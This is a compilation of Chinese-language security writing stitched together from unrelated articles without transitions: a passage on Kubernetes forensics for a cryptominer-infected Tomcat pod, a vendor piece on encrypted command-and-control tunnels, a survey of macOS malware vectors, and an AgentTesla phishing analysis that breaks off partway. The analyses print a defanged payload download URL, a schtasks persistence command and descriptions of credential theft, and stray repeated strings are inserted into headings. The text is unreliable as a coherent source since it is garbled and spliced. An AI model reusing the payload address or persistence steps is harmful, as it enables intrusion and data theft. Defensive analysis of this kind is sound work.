這對於隔離節點並調查由於容器逃逸而導致的危害非常有用。順便說一句,在本文中,我們僅僅假設攻擊將仍然局限於受影響的pod。

7.webp.jpg

我們已經執行了一些必要的步驟來隔離受影響Pod 中的惡意執行。使用Kubernetes 網絡策略,我們已經確定不允許來自受影響的pod 的傳入或傳出連接。此外,我們標記了涉及的Pod,並阻止在Pod 運行的節點中進行新的部署。有時,你還可以刪除或撤銷受影響的工作節點/Pod 權限或安全憑證,以避免攻擊傳播到其他雲資源。

但是,我們仍然需要了解攻擊是如何發生的,我們承擔的風險是什麼,以及它可能產生的影響。

DFIR Kubernetes方法——快速方法它可以被認為是最快的方法。將正在運行的容器隔離並仍在Kubernetes 集群中運行,你可以直接從其工作節點檢查它。

現在,讓我們跳轉到該節點並開始搜索受影響的容器ID。

8.png

8.2.png

現在我們知道了哪個是容器ID,這樣就可以開始深入挖掘它的細節。

9.1.png

9.2.png

似乎在Elasticsearch 收到日誌前幾秒鐘,在Tomcat 上部署了一個新的war 文件。這可能是攻擊的初始訪問,但讓我們繼續檢查容器文件系統自創建以來的更改。

10.png

10.2.webp.jpg

更改:C 行是更改後的目錄。

追加:A 行是新添加的文件。

如前所述,似乎在Tomcat 管理器中添加的文件很少。而且,文件系統中還寫入了其他文件,例如zzz(已經在上面的Elasticsearch 日誌中顯示)。

為了查看機器中還有什麼在運行,我們還可以啟動docker top和stats命令。

11.1.png

11.2.png

11.3.png

11.4.png

高CPU 使用率,確認之前檢測到的內容。

我們還可以將容器的更改提交到新映像(通過docker commit)或將受影響的文件系統導出為tar 文件(通過docker export),以便存儲發生更改的工件。如果你想了解有關此技術的更多信息,請查看對惡意Docker 容器進行分類。

DFIR Kubernetes——離線方法Docker-explorer是一個開源項目,能夠對快照捲進行離線取證分析。

一旦我們確定了受影響的Pod 所在的Kubernetes 工作節點,最好的做法是對其文件系統進行快照。這可以通過雲提供商控制台或通過採用其他一些開源項目來完成,例如cloud-forensics-utils。有了快照卷,就可以進行事後分析,將其附加並安裝到將使用docker-explorer 的新虛擬機上。

Docker-explorer 可以列出所有docker 容器或僅列出已安裝卷中正在運行的容器。

12.png

一旦我們獲得了我們想要調查的容器ID,就可以提取日誌,就像我們之前使用docker logs

13.png

但最重要的功能是使用docker-explorer 將容器文件系統掛載到VM 中。

14.png

14.2.png

這將使我們能夠訪問受影響的容器文件系統。因此,從現在開始,我們將能夠調查之前監控的進程和文件(zzz、kdevtmpfsi、kinsing)。

15.png

例如,我們可以讀取zzz bash 腳本,或者我們可以提取ELF 文件的哈希值,以便通過VirusTotal 對其進行掃描。

16.png

正如預期的那樣,由於使用了大量的CPU,kdevtmpfsi 進程是一個挖礦程序。

Kube-forensics

kube-forensics 是一個開源項目,允許集群管理員將任何受影響的pod 的工件存儲到S3 存儲桶中。它要求kube-forensics 創建的工作pod 具有將對象寫入AWS 存儲桶的必要權限。

這樣我們就可以將受影響的Pod 證據存儲到應用此PodCheckpoint 的S3 存儲中:

17.png

幾分鐘後,PodCheckpoint 將完成其執行,證據也會出現在目標S3 存儲桶中。

118.webp.jpg

因此,除了保存pod 描述之外,kube-forensics 還以與我們之前在實時主機部分中所做的類似方式存儲與docker inspect 和docker diff 命令相關的結果。

對於“.export.tar”文件,它是可以通過docker export 命令獲得的文件,它可以將容器文件系統存儲在可以檢查發布的“.tar”文件中。

Kubernetes事件的解決和總結通過分析和調查違規行為,你可以識別你在集群中部署的易受攻擊的資產。

在此示例中,攻擊入口點由暴露在網絡中的易受攻擊的Tomcat Pod 表示。取證分析得出的結論是Tomcat 管理器不安全,因為它配置錯誤並且沒有影響其他Pod 或命名空間。

不過,有時受感染的Pod 可能會由於眾所周知或未知的漏洞而被利用。

作為事件響應階段的一部分,你應該從受感染的Pod 中學習,用更新和安全的Pod 替換它們。但是,如果無法保護你的工作負載,可能是因為它們還沒有可用的補丁,你應該採用其他解決方案。

例如,第一個是在發布新補丁之前刪除和刪除你的部署,只要你有足夠的關於發生的事情的信息。這是防止發生任何違規的最嚴格的方法,但它也會在可用性方面影響你的業務。

在其他一些情況下,你可能希望使用Falco 和Falcosidekick 來設置你的Kubernetes 響應引擎。當通過Falco 觸發特定事件時,它允許你在Kubernetes 集群中做出響應。例如,在前面的場景中,如果將具有通用文件名的新.war 文件部署到Tomcat 管理器中或檢測到RCE,我們可以採用終止pod 的規則。

1、概述在攻防演練期間,經過信息蒐集、打點後,部分攻擊者利用漏洞攻擊、釣魚等方式成功獲得內網資產的控制權,為了保證對失陷資產的持續控制與後續擴大戰果的需要,攻擊者會上傳木馬運行,在失陷資產與外部控制端之間建立持續的通信信道。然而,在企業網絡邊界上通常部署了大量的網絡防護和監測設備,因此,攻擊者為了躲避流量監測設備的發現,會對其使用的命令與控制信道使用各種隱藏手段,如加密、編碼、偽裝、利用隱蔽隧道等。

2、攻防演練場景資產失陷後常見加密流量我們可以將攻防演練場景中,內部資產失陷後常見的加密流量總結為兩大類:正向CC加密通道和反彈CC加密通道。

正向的CC加密通道,主要是HTTP/HTTPS的Webshell連接和正向HTTP隧道代理;反彈CC加密通道包括:TLS/SSL木馬回連以及各種隱蔽隧道通信。

能夠在內外網之間構建加密CC通道的工具有很多,有的工具小巧且專業,能夠搭建某一種加密信道並靈活配置,如:dns2cat,icmptunnel等;有的則具備平台級的強大功能,可以生成具備多種加密隧道的攻擊載荷,如:CobaltStrike,MSF等;另外,還可以組合隧道工具與平台級攻擊載荷在極端條件下實現命令與控制,如:利用代理轉發工具、隧道工具上線CS等,下面是一些攻擊類型與攻擊工具的梳理:

image.png

2.1正向CC加密通道马云惹不起马云 HTTP/HTTPS Webshell連接

通常,針對Web服務的漏洞利用成功後,攻擊者會上傳Webshell,如:冰蠍、哥斯拉、蟻劍等。這些Webshell即能在失陷的Web服務器與攻擊者之間維持命令執行通道,又能用來上傳具有更強大功能的平台級木馬。隨著Web服務的全面加密化,Webshell的通信經過了HTTPS加密,即使能夠解密HTTPS流量,其HTTP載荷中也會經過二次加密和編碼,盡可能不暴露明文特徵,給流量檢測帶來很大挑戰,去年攻防演練第一天更新上線的冰蠍4.0版本,臨時增加可自定義的加密通信方式,給防守方帶來了一波突然襲擊,讓人記憶猶新。

1.png

往期回顧:冰蠍4.0 https://www.viewintech.com/html/articledetails.html?newsId=20

马云惹不起马云HTTP隧道正向代理

當攻擊者想要訪問的內網資產無法出網時,可以通過在失陷的邊界資產搭建HTTP隧道正向代理的方式,中轉訪問內網資產,常見工具包括reDuh,neo-regeorg等,其原理如下圖:

2.png

2.2反彈CC加密通道马云惹不起马云TLS/SSL木馬回連

出入企業網絡邊界最常見的加密協議是TLS/SSL,其廣泛應用於Web服務、郵件服務、文件傳輸、移動APP等應用領域,可以保護用戶通信數據的機密性和完整性。因此,大量攻擊者同樣通過TLS/SSL構建自己的惡意CC加密通信信道,特別是網絡邊界設備通常不對出網的TLS/SSL流量做攔截,失陷資產上的木馬可以通過這種方式將自己的流量混在大量訪問網絡正常應用的TLS/SSL加密流量中,神不知鬼不覺的與外網控制端維持CC通信,這類工具或木馬比較常見的像CobaltStrike、Sliver等,高水平的攻擊者還會使用諸如:域前置、CDN、雲函數等CC隱匿技術,進一步隱藏自己的流量和控制端信息。

3.png

攻擊者在構建真實的TLS/SSL加密CC信道時,由於SSL證書的購買和認證需要填寫真實身份信息,且價格不低,導致攻擊者會傾向於使用免費或自簽名證書,從而為檢測提供線索。於是,有些攻擊者使用Fake TLS或Shadow TLS的技術,利用知名網站的證書將其木馬CC通信的流量偽裝成與白站的通信,再將自己實現的加密通信協議隱藏在TLS/SSL加密載荷中,從而做到逃避檢測。

马云惹不起马云隱蔽隧道

在2022年攻防演練中,我們發現多起利用DNS隧道和ICMP隧道作為隱蔽信道的加密CC通信事件,是最有代表性的隱蔽隧道通信方式。

DNS隧道DNS是互聯網上重要的域名服務,主要用於域名與IP地址的相互轉換,因此,在企業網絡中DNS流量通常不會被防火牆、入侵檢測系統、安全軟件等一般安全策略阻擋。攻擊者利用這一特點使用DNS協議作為內外網之間通信的隱蔽信道,在攻防演練場景下常見的DNS隧道原理大致如下圖所示:

4.png

攻擊者攻陷內網資產後,植入木馬,木馬使用DNS協議中的子域名加密編碼隱藏信息,並發出DNS請求查詢;內網DNS服務器將查詢轉發到互聯網DNS服務器,通常網絡監測設備捕獲的是位於這一段鏈路上的流量;外網DNS服務器經過遞歸查詢重定向到偽造的DNS服務器,解析隱蔽傳輸的信息後利用DNS響應包返回控制命令;DNS響應包穿透網絡邊界最終返回到內網受控資產;受控資產上的木馬解析響應包中的控制命令,繼續後續攻擊動作。

ICMP隧道類似的,ICMP協議作為網絡中傳遞控制信息的常見重要協議,往往限制較少或不加限制,所以攻擊方在攻入內網後也可能使用ICMP協議的載荷數據(Data)部分隱蔽的進行控制指令或竊密數據的傳輸,這些被傳輸的內容大多數進行了加密保護。

5.png

如下圖所示,利用ICMP回顯請求和響應包(PING)載荷隱蔽實現CC通信。

6.png

其他隧道除此以外,利用應用層常見協議HTTP、SSH的隱蔽隧道,利用TCP、UDP載荷實現自定義協議的TCP、UDP隧道,或者支持多種隧道通信的各種代理轉發工具,也是攻擊者較常使用的隱蔽CC通信手段,他們在不同的網絡環境下,都具有穿透網絡邊界隱蔽傳輸數據的能力。在某些內網目標不能出網的環境,攻擊者還可以組合使用各種隱蔽隧道、代理轉發手段,來間接上線CS、MSF木馬,實現遠程控制。

3、總結隨著近年來,加密流量在攻防對抗中的使用頻率越來越高,針對攻防演練場景下的加密流量威脅,特別是資產失陷後的加密CC通信的檢測,可以說是守護企業網絡的最後一道防線。觀成科技多年來專注於加密流量威脅檢測技術研究,形成了一套綜合利用多模型機器學習、指紋檢測、行為檢測、加密威脅情報的解決方案,對各種不同類型的加密威脅進行有針對性的檢測。在2022年的攻防演練中,觀成瞰雲-加密威脅智能檢測系統首次參與即有亮眼發揮,多次獨家檢出攻擊失陷階段的加密CC通信行為,做到及時發現,及時預警,為客戶最大程度減少損失做出貢獻。

7.png

sentinelone的研究人員對macOS惡意軟件的2022年審查顯示,運行macOS終端的企業和用戶面臨的攻擊包括後門和跨平台攻擊框架的增加。像CrateDepression和PyMafka這樣的攻擊使用對包存儲庫的錯別字攻擊來攻擊用戶,而ChromeLoader和oRAT等其他威脅則利用錯別字作為攻擊載體。

然而,許多其他macOS攻擊所使用的攻擊載體仍然未知,比如SysJoker(新型惡意軟件正對Windows、Linux 和macOS 操作系統構成威脅,可利用跨平台後門來從事間諜活動),OSX.Gimmick,CloudMensis、Alchemist和lazarus的Operation In(ter)ception,研究人員在分析中偶然發現了惡意軟件,或者在VirusTotal等惡意軟件存儲庫中發現了樣本。

1. 免費內容的誘惑有大量的macOS惡意軟件通過免費內容下載網站傳播,如torrent網站、共享軟件網站、破解的應用程序網站或免費的第三方應用程序分發網站。

2.jpg

此torrent文件實用程序下載一個廣告軟件安裝程序

內容誘餌包括:

破解軟件;

體育直播網站;

vpn、“隱私”廣告和地理圍欄規避;

電影、電視、遊戲和音樂下載網站,DRM規避;

色情和性服務網站。

免費內容誘餌主要用於驅動廣告軟件和捆綁包(bundleware)攻擊,但像LoudMiner這樣的挖礦軟件也以這種方式傳播。

最常見的情況是向用戶提供免費或破解版本的應用程序,用戶開始下載一個據稱包含該應用程序的磁盤映像文件,但在安裝時發現它被稱為“Flash Player”、“AdobeFlashPlayer”之類的文件。這些文件通常是無簽名的,用戶會得到關於如何重寫macOS Gatekeeper以啟動它們的說明。

3.jpg

破解版Adobe Photoshop的誘餌會導致用戶安裝惡意程序

如上圖所示,這是Finder中的一個簡單技巧,即使是非管理員用戶也可以使用它來擊敗Mac內置的安全機制。

最近發現一些攻擊者引導終端用戶重寫其中的Gatekeeper,可能是為了解決組織管理員可能通過MDM(移動設備管理)部署的任何附加安全控制。

4.jpg

一些用戶開始尋找合法內容,但卻被廣告和令人難以置信的交易和優惠拉進了惡意網站。不過,Mac用戶普遍認為,瀏覽此類鏈接本身並不危險,因為他們認為Mac是安全的、不會被病毒攻擊。然而,這些網站的性質,以及堅持使用彈出窗口、誤導性圖標和重定向鏈接,會迅速將用戶從安全的搜索誘導至危險的下載。

雖然“Flash Player”誘餌主要用於廣告軟件和捆綁軟件活動。其他大量利用這一載體的活動包括OSX.Shlayer,Pirrit 和Bundlore。安全供應商可以很好地檢測到這些攻擊,但蘋果內置的基於簽名的檢測技術XProtect往往會忽略這些攻擊。

緩解措施包括:

通過MDM/安全產品的應用程序允許/拒絕列表控制與軟件下載/啟動相關的權限;

通過MDM解決方案或安全產品限制對終端的訪問;

限製或阻止使用安全產品執行未簽名代碼;

使用終端保護軟件防止和檢測已知惡意軟件。

2. 向Mac用戶發布惡意廣告惡意網頁廣告可以在用戶的瀏覽器中運行隱藏代碼,將受害者重定向到顯示虛假軟件更新或病毒掃描警告的彈出窗口的網站。在過去的12個月中,已知的針對macOS用戶的惡意廣告活動包括ChromeLoader和oRAT。

ChromeLoader也被稱為Choziosi Loader或ChromeBack,採用惡意Chrome擴展的形式,劫持用戶的搜索引擎查詢,安裝偵聽器攔截傳出的瀏覽器流量,並向受害者提供廣告軟件。

oRAT是一個用Go編寫的後門植入程序,以未簽名的磁盤映像(.dmg)的形式下載到受害者的計算機上,偽裝成Bitget應用程序的集合。磁盤映像包含一個含有名為Bitget Apps.pkg的包以及com.adobe.pkg.Bitget傳播標識符。

6.jpg

加密的數據塊被附加到包含配置數據(如C2 IP地址)的惡意二進製文件中。

7.png

oRAT的加密blob和解密的純文本

緩解措施包括:

使用防火牆控制和web過濾器阻止對已知惡意網站的訪問,在極端敏感的情況下,防火牆只能限制對有限的授權IP的訪問;

使用廣告攔截軟件,廣告攔截程序可以阻止大多數廣告的顯示,但這可能會影響性能和對某些資源的訪問;

部署終端保護軟件以防止和檢測通過惡意廣告傳播的惡意代碼。

3.對開發者的攻擊開發者是大規模攻擊、供應鏈攻擊、間諜活動和政治操縱等攻擊行為的高價值目標。毫無疑問,迄今為止對蘋果開發者最成功的攻擊是XcodeGhost,這是2015年在中國服務器上託管的蘋果Xcode IDE的惡意版本。許多中國開發者選擇下載他們認為是Xcode的本地鏡像,因為從蘋果在美國的服務器下載合法版本非常慢。

XcodeGhost將惡意代碼插入到任何使用它構建的iOS應用程序中,許多受攻擊的應用程序隨後在蘋果應用商店發布。受攻擊的應用程序能夠竊取敏感信息,如設備的唯一標識符和用戶的Apple ID,並在受攻擊的iOS設備上執行任意代碼。

更常見的是,攻擊者試圖通過共享代碼來攻擊開發人員。因為開發人員希望通過借助已有成果來提高工作效率,他們通常會尋找共享代碼,而不是嘗試自己編寫複雜或不熟悉的API調用。

在Github等網站上託管的公共存儲庫中可以找到有用的代碼,但這些代碼也可能帶有惡意軟件或代碼,從而為攻擊者打開攻擊後門。 XCSSET惡意軟件和XcodeSpy都利用共享的Xcode項目危害macOS和iOS軟件的開發人員。

在XCSSET中,項目的.xcodeproj/project.xcworkspace/contents.xcworkspace數據被修改為包含對隱藏在項目xcuserdata文件夾中的惡意文件的文件引用。構建該項目導致惡意軟件被執行,然後在開發人員的設備上進行多階段感染,包括後門。

在XcodeSpy中,攻擊者在GitHub上發布了一個合法開源項目的篡改版本。項目的構建階段包括一個模糊的運行腳本,它將在開發人員的構建目標啟動時執行。

8.jpg

在XcodeSpy示例中發現的模糊腳本

腳本在/private/tmp/.tag目錄下創建了一個隱藏文件,其中包含一個命令:mdbcmd。這反過來又通過反向shell傳輸到攻擊者C2。文件路徑鏈接到VirusTotal上的兩個自定義EggShell後門。

在執行時,自定義的EggShell二進製文件會在~/Library/LaunchAgents/com.apple.usgestatistics.plist或~/Liblery/LaunchAgents.com.appstore.checkupdate.plist處放置LaunchAgent。此plist檢查原始可執行文件是否正在運行;如果沒有,它將從~/Library/Application Support.com/apple.AppStore/.update的‘master’版本創建可執行文件的副本,然後執行它。

9.jpg

鏈接到XcodeSpy的EggShell後門使用的持久性代理

緩解措施包括:

將開發環境與運行環境隔離;

要求所有共享開發人員項目在下載或在公司設備上構建之前都要經過審查和授權;

實施安全開發,如安全編碼指南、代碼審查和代碼加密;

教育開發人員使用外部代碼的危險;

使用終端保護軟件監控可疑和惡意代碼的執行。

4. 開源包存儲庫當攻擊者以開放源代碼包存儲庫為目標時,情況開始變得更加嚴重。通過這些共享的代碼在企業中的許多項目中廣泛使用,安全審查既薄弱又困難。在不同的平台和語言中有許多應用,包括:

PythonPackageIndex(PyPI)Crates.io(Rust)NodePackageManager(NPM)GoModuleIndex(Go)NuGetGallery(.NET)RubyGems(Ruby)Packagist(PHP)Chocolatey(Windows)Scoop(Windows)Homebrew(macOS)CocoaPods(Swift,iOS)Carthage(S wift,macOS)FedoraPackageDatabase(Linux)CentOSPackageRepository(Linux)ArchLinuxUserRepository(Linux)UbuntuPackageRepositories(Linux)AlpinePackageRepository(Linux)MavenCentral(Java)包存儲庫可能容易受到拼寫錯誤攻擊和依賴混淆攻擊。在某些情況下,合法軟件包的所有權被劫持或轉移給開發者。

在2022年5月,一個流行的PyPI包“PyKafka”成為了一個名為“PyMafka”的包的拼寫攻擊的目標。 PyMafka包包含一個Python腳本,用於檢查主機並確定操作系統。

11.jpg

如果設備運行的是macOS,它會連接到C2,下載一個名為“macOS”的Mach-O二進製文件,並將其寫入名為“zad”的/private/var/tmp。二進製文件是upx封裝的,且進行了模糊處理,還釋放了一個Cobalt Strike信標。

就在不久前,Rust儲存庫Crates.io也被攻擊者盯上了,他們用惡意的“rustdecimal”包來拼寫合法的“rust_decimal”包。後者使用GitLab Continuous Integration(CI)管道環境,並釋放了一個Go編寫的macOS編譯的Poseidon負載。

2022年末,一名自稱為“研究員”的攻擊者對PyPI上的PyTorch包進行了依賴混淆攻擊。

依賴混淆攻擊利用了某些包具有託管在私有服務器上的依賴項這一事實。默認情況下,包管理器首先通過搜索公共存儲庫來處理客戶端對依賴項的請求。如果依賴包的名稱在公共回收中不存在,攻擊者可以將自己的惡意包上傳到公共回收中,並攔截來自客戶端的請求。

惡意軟件在攻擊PyTorch時收集並竊取了攻擊設備上的各種敏感數據,以傳輸到遠程URL,包括~/.gitconfig/和~/.ssh/的內容。

PyTorch是一個流行的Python開源機器學習庫,估計已經有大約1.8億次下載。在聖誕節到元旦期間的5天裡,惡意軟件包託管在PyPI上,下載量達到了2300次。

緩解措施包括:

針對通過此載體分發的攻擊的緩解措施包括許多與防範惡意共享開發人員項目相同的建議。此外,安全團隊還可以採納以下建議:

使用私有存儲庫並將包管理器配置為不默認為公共存儲庫;

通過代碼簽名驗證包的真實性;

外部源代碼的定期審計和驗證;

5. 木馬程序對包存儲庫的攻擊可能具有毀滅性和深遠的影響,它們將不可避免地被發現並引起大量關注。相比之下,那些希望更隱蔽地向特定目標發送惡意軟件的攻擊者可能更傾向於對流行應用程序進行木馬攻擊。

2021年,百度搜索引擎中的讚助鏈接被用來通過流行的終端應用程序iTerm2的木馬版傳播惡意軟件。進一步調查OSX.Zuru,該活動還使用了微軟Mac遠程桌面、Navicat和SecureCRT的木馬版本。

這些應用程序在共同設計時使用了不同於合法簽名的開發者簽名,主要是為了確保它們不會被Gatekeeper屏蔽。除了替換原來的代碼簽名外,攻擊者還在.app/Contents/Frameworks/文件夾中使用名為libcrypt .2.dylib的惡意dylib修改了應用程序包。對該文件的分析揭示了監視本地環境、連接到C2服務器和通過後門執行遠程命令的功能。

對木馬應用程序的選擇很有意思,這表明攻擊者針對的是用於遠程連接和業務數據庫管理的工具的後端用戶。

最近,有關的攻擊者被發現傳播木馬化的EAAClient和SecureLink,這些版本提供了一個silver有效載荷。這些木馬在沒有代碼簽名的情況下傳播,攻擊者使用上述技術方法誘導受害者通過終端重置本地安全設置。

12.jpg

研究人員最近還發現了一種惡意版本的開源工具,旨在竊取受害者的密碼和鑰匙鏈,這樣攻擊者就可以完全訪問macOS中所有用戶的密碼。在此示例中,攻擊者使用Resign tool並將其打包到ipa文件中,以便在iOS設備上安裝,這表明攻擊者顯然有意發起攻擊。

緩解措施包括:

驗證所有代碼是否已簽名,以及代碼簽名是否與適當的已知開發人員簽名相對應;

限製或阻止使用安全產品執行未簽名代碼;

使用終端保護軟件防止和檢測可疑或惡意代碼執行。

6. 漏洞和水坑攻擊一種不太常見的攻擊載體,需要一些技巧才能實現,就是利用瀏覽器漏洞攻擊被攻擊網站的訪問者。瀏覽器中的零日漏洞攻擊是黑客經常關注的領域,即使在修補後,這些漏洞仍然可以被用於攻擊未能保持瀏覽器更新的組織或用戶。

在2022年12月13日發布的macOS Ventura和Safari的最新安全更新中,修補了30多個漏洞,包括以下瀏覽器相關漏洞:

CVE-2022-42856:處理惡意製作的web內容可能導致任意代碼執行。

CVE-2022-42867:處理惡意製作的web內容可能導致任意代碼執行。

CVE-2022-46691:處理惡意製作的web內容可能導致任意代碼執行。

CVE-2022-46695:訪問包含惡意內容的網站可能會導致UI欺騙。

CVE-2022-46696:處理惡意製作的web內容可能導致任意代碼執行。

CVE-2022-46705:訪問惡意網站可能導致地址欄欺騙。

7. 供應鏈攻擊上述一些攻擊載體已經可以並且已經被用於試圖進行的供應鏈攻擊,特別是那些涉及木馬應用程序、共享開發人員代碼和包存儲庫的攻擊。然而,這些攻擊都涉及到合法代碼、軟件包和應用程序的假冒或模仿版本。

在供應鏈攻擊中,攻擊者會破壞供應商發送給其他客戶端的合法代碼,這種情況比較少見。早在2016年,流行的macOS torrent客戶端傳輸就攻擊了一個罕見的macOS勒索軟件。攻擊者侵入了開發人員的服務器,並將KeRanger惡意軟件添加到包含該軟件的磁盤映像中。

在2022年,研究人員發現MiMi聊天應用程序的服務器被攻擊。惡意JavaScript已添加到用於安裝聊天應用程序的磁盤映像中。當用戶運行安裝程序時,惡意代碼到達遠程IP以檢索rshell二進製文件。該惡意軟件作為後門,能夠識別受害者設備的指紋,竊取數據並運行遠程命令。

13.jpg

一個名為“rshell”的Mach-O後門包含其C2的硬編碼IP地址

緩解措施包括:

對所有供應商和合作夥伴進行盡職調查,確保他們有良好的安全措施;

定期審計和審查供應鏈的安全性,包括隨時關注供應商和合作夥伴的最新變化;

在整個組織範圍內實施強大的安全控制,包括使用現代終端、雲和身份管理安全控制;

定期更新軟件系統和修補漏洞。

總結預防攻擊可以減少對安全團隊和組織的影響,不幸的是,人們仍然普遍認為代碼簽名、Gatekeeper和蘋果公證服務等macOS控件足以阻止惡意軟件攻擊,但如上所述macOS和微軟一樣也成為了常被攻擊的對象。蘋果自己也曾公開表示mac電腦存在惡意軟件漏洞。

如上所述,通過加強防禦並了解macOS惡意軟件使用的主要攻擊載體,安全團隊可以更好地保護組織。

受影響的平台:Microsoft Windows;受影響方:Windows用戶;影響:從受害者的電腦中收集敏感信息;嚴重性級別:嚴重;FortiGuard實驗室捕捉到了一個網絡釣魚活動,該活動傳播了一種新的AgentTesla變體。這個著名的惡意軟件家族使用基於.Net的遠程訪問木馬(RAT)和數據竊取程序來獲得初始訪問權限,它通常用於軟件即服務(MaaS)。

AgentTesla源於2014年的一款鍵盤記錄產品,演變至今,儼然成為了黑客專門用來竊密的工具軟件。經過不斷迭代,AgentTesla覆蓋面越來越廣,功能也越來越強。

AgentTesla變體攻擊了瀏覽器、FTP、VPN、郵箱、通訊軟件、下載工具、數據庫等。反分析功能上又增加了反沙箱、反虛擬機以及反windows defender的相關功能,同時誘餌文件使用了多層或分批解密,大大增加了分析難度。

AgentTesla是一種“MAAS”(malware-as-a-service)惡意程序,在過去的7年間,一直保持著較高的活躍度。近兩年,國內也出現了多起使用AgentTesla進行商業竊密的攻擊活動。

研究人員對本次活動進行了深入分析,從最初的釣魚電子郵件到安裝在受害者設備上的AgentTesla的活動,再到從受影響的設備收集敏感信息。接下來,我們將介紹此次攻擊的內容,如釣魚電子郵件如何啟動活動,CVE-2017-11882/CVE-2018-0802漏洞(而非VBS宏)如何被利用在受害者設備上下載和執行AgentTesla文件,以及AgentTesla如何從受害者設備收集敏感數據,如憑據、密鑰日誌,以及受害者的屏幕截圖。

儘管微軟於2017年11月和2018年1月發布了對CVE-2017-11882/CVE-2018-0802的修復,但該漏洞在攻擊者中仍然很受歡迎,這表明即使在多年後,仍有未修復的設備。

網絡釣魚電子郵件1.png

捕獲的釣魚電子郵件

釣魚電子郵件偽裝成採購訂單通知,如上圖所示,要求收件人確認工業設備供應商公司的訂單。這封電子郵件附帶了一個名為“Order 45232429.xls”的Excel文檔。

CVE-2017-11882/CVE-2018-0802被Excel文檔利用附件中的Excel文檔為OLE格式。它包含精心製作的方程數據(equation data),利用CVE-2017-11882/CVE-2018-0802漏洞執行惡意shellcode。

2.png

Excel文件的內容

打開附加的Excel文檔會向用戶顯示一條欺騙信息。同時,精心製作的方程數據中的shellcode被秘密執行。

CVE-2017-11882/CVE-2018-0802是一個RCE(遠程代碼執行)漏洞,當被利用時,它會導致EQNEDT32.EXE進程在解析特製的方程數據時內存損壞,這可能導致執行任意代碼。

下圖顯示了在OLE複合讀取器中解析的Excel文檔,其中方程數據位於存儲文件夾“MBD0057E612”下的流“\x01Ole10NativE”中。

3.png

OLE Excel文檔中的方程內容

一旦打開精心編制的Excel文檔,惡意方程式數據就會被稱為“EQNEDT32.EXE”的MS Office進程自動解析。這會觸發CVE-2017-11882/CVE-2018-0802漏洞,並在後台執行方程數據中的惡意shellcode。

4.png

即將在易受攻擊的EQNEDT32.EXE進程中執行的ShellCode

在下圖中,我們可以看到,精心編制的方程數據覆蓋了EQNEDT32.EXE的堆棧,並使其跳轉兩次(通過0x450650和0x44C329的固定地址)到0x33C006C(堆棧中)的shellcode。

自我解密後,研究人員觀察到shellcode的主要工作是從URL“hxxp://23[.]95.128.195/3355/chromium.exe”下載並執行一個額外的惡意軟件文件。為此,它調用了幾個API,如URLDownloadToFileW(),將惡意軟件下載到本地文件夾,ShellExecuteW()在受害者的設備上運行惡意軟件。在下圖中,我們可以看到shellcode即將調用API URLDownloadToFileW()將其下載到本地文件中,並將其重命名為“%TEMP%”文件夾下的“dasHost.exe”。

5.png

調用API下載惡意軟件

查看下載的文件下載的文件(“dasHost.exe”)是一個由IntelliLock和.Net Reactor兩個數據包保護的.Net程序。

下圖顯示了dnSpy中下載文件的EntryPoint函數,其中文件的程序集名稱為“Nvgqn7x”。你可能已經註意到,所有名稱空間、類、方法和變量的名稱都完全混淆了。

6.png

被混淆後下載文件的EntryPoint函數

下載文件的.Net Resources部分中有一些資源文件,下載的文件(“dasHost.exe”)從.Net Resources部分提取兩個無文件執行模塊。一個是AgentTesla的有效負載模塊,另一個是AgentTesla有效負載文件的Loader模塊。

7.png

下載文件的.Net Resources部分

上圖顯示了.Net Resources部分中的所有資源。根據我的分析,資源“rTMIRNhcvIYnT8lMa6.UJQcCvWAsvT8GV6hyn.resources”是編碼的Loader模塊,其程序集名稱為“Cassa”。資源“FinalProject.resources”是加密和壓縮的AgentTesla有效負載模塊,其組件名稱為“NyZELH bX”,並在Loader模塊的“DeleteMC()”函數中作為模塊加載,如下圖所示。

8.png

Loader“Cassa”的DeleteMC()函數

你可能已經註意到的,資源被偽裝成Bitmap資源,並與有效負載混合在一起。 Bitmap.GetPixel()和Color.FromArgb()是被調用來從資源中讀取有效負載的兩個API。然後,它通過解密和gzip解壓縮來恢復有效負載文件,該文件通過調用AppDomain.CurrentDomain.Load()方法作為可執行模塊加載。最後,從Loader模塊(“Cassa”)調用有效負載文件的“EntryPoint”函數。

AgentTesla有效負載模塊和Process Hollowing有效負載模塊是一個.Net程序,並且是完全混淆的。幸運的是,我使用了幾個分析工具來消除混淆。 Process-Hollowing是一款windows系統進程注入工具,它能夠將目標進程的映射文件替換為指定進程的映射文件,被替換的通常是一些系統進程,如svchost。惡意代碼借助此技術可以運行在其他進程中而不被檢測到。

與大多數惡意軟件一樣,開發人員在單獨的進程中運行惡意軟件的核心模塊。這是一種常見的保護策略,可以增加惡意軟件在受害者設備上運行的成功率。

有效負載的主要功能(除了持久性)是執行Process Hollowing,然後將另一個解密的可執行文件,該文件來源於有效負載文件中的一個稱為“7gQsJ0ugxz.resources”單獨的資源,該文件放在Process Hollowing中並執行它。在這個分析中,研究人員把這個解密的可執行文件稱為Agent Tesla的核心模塊。

9.png

用於執行Process Hollowing的API

上圖包含有效負載模塊調用以執行ProcessHollowing的關鍵API。它調用CreateProcess()創建一個掛起的“dasHost.exe”進程。接下來,它通過核心模塊的API VirtualAllocEx()在該進程中分配內存。然後多次調用WriteProcessMemory(),將保存在數組變量byte_1中的核心模塊複製到新進程中。它最終調用API SetThreadContext()和ResumeThread(),將新進程從掛起狀態恢復為執行AgentTesla的核心模塊。

之後,負載模塊通過調用Loader模塊的DeleteMC()中的Environment.Exit()退出。

持久性攻擊為了持續盜取受害者的敏感數據,即使受影響的系統重新啟動或AgentTesla進程被終止,它也要執行以下兩個操作。

1. TaskScheduler

它執行一個命令,在負載模塊內的系統taskscheduler中創建一個任務。本文的分析環境中的命令是'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\kCqKCO' /XML 'C:\Users\Bobs\AppData\Local\Temp\tmp68E9.tmp',其中“Updates\kCqKCO”是任務名稱,“/XML”指定它是由以下參數提供的XML文件創建的,即tmp68E9.tpm。下圖顯示了XML內容的詳細信息,其中文件“C:\Users\Bobs\AppData\Roaming\kCqKCO.exe”是下載的“dasHost.exe”的副本。任務設置為在受害者登錄時開始。

10.png

在系統TaskScheduler中創建任務

2.在系統註冊表中自動運行

11.png

系統註冊表中的自動運行項

核心模塊在系統註冊表“C:\Users\Bobs\AppData\Roaming\sOFvE\sOFvE.exe”中添加了一個自動運行項,它是在系統啟動時自動啟動的“dasHost.exe”的另一個副本。

竊取受害者的敏感信息AgentTesla核心模塊從受害者的設備中竊取敏感信息。這些信息包括一些軟件的保存憑據,受害者的鍵盤記錄信息和受害者設備的屏幕截圖。

竊取憑據12.png

